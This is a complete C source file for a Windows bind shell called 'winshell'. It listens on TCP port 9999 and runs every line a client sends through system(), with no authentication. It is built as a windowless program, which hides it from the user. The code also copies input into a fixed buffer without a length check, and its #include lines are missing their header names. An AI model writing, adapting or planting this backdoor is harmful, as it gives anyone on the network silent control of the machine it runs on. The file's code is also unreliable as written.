/* * With Cygnus Win32 (GNU Win32) compile with: * gcc -mwindows -mno-cygwin -o winshell winshell.c -lwsock32 */ #include #include #include #include #define BUFSIZE 512 int main() { int retval; int socklen; char *pktptr, pktbuf[BUFSIZE]; WSADATA wsaData; SOCKET serverfd, clientfd; SOCKADDR_IN serversin, clientsin; WSAStartup(MAKEWORD(1, 1), &wsaData); /* ------------------------------- */ serverfd = socket(AF_INET, SOCK_STREAM, 0); memset(&serversin, 0, sizeof(serversin)); serversin.sin_family = AF_INET; serversin.sin_port = htons(9999); (void)bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin)); (void)listen(serverfd, 0); while(1) { socklen = sizeof(clientsin); clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen); pktptr = pktbuf; memset(pktbuf, 0, sizeof(pktbuf)); /* we do this one byte at a time because it's the easiest way */ while(1) { retval = recv(clientfd, pktptr, 1, 0); if (retval == SOCKET_ERROR) break; if (isprint(*pktptr)) { pktptr += 1; continue; } else *pktptr = '\0'; system(pktbuf); memset(pktbuf, 0, sizeof(pktbuf)), pktptr = pktbuf; } closesocket(clientfd); } /* will never get here */ return 0; }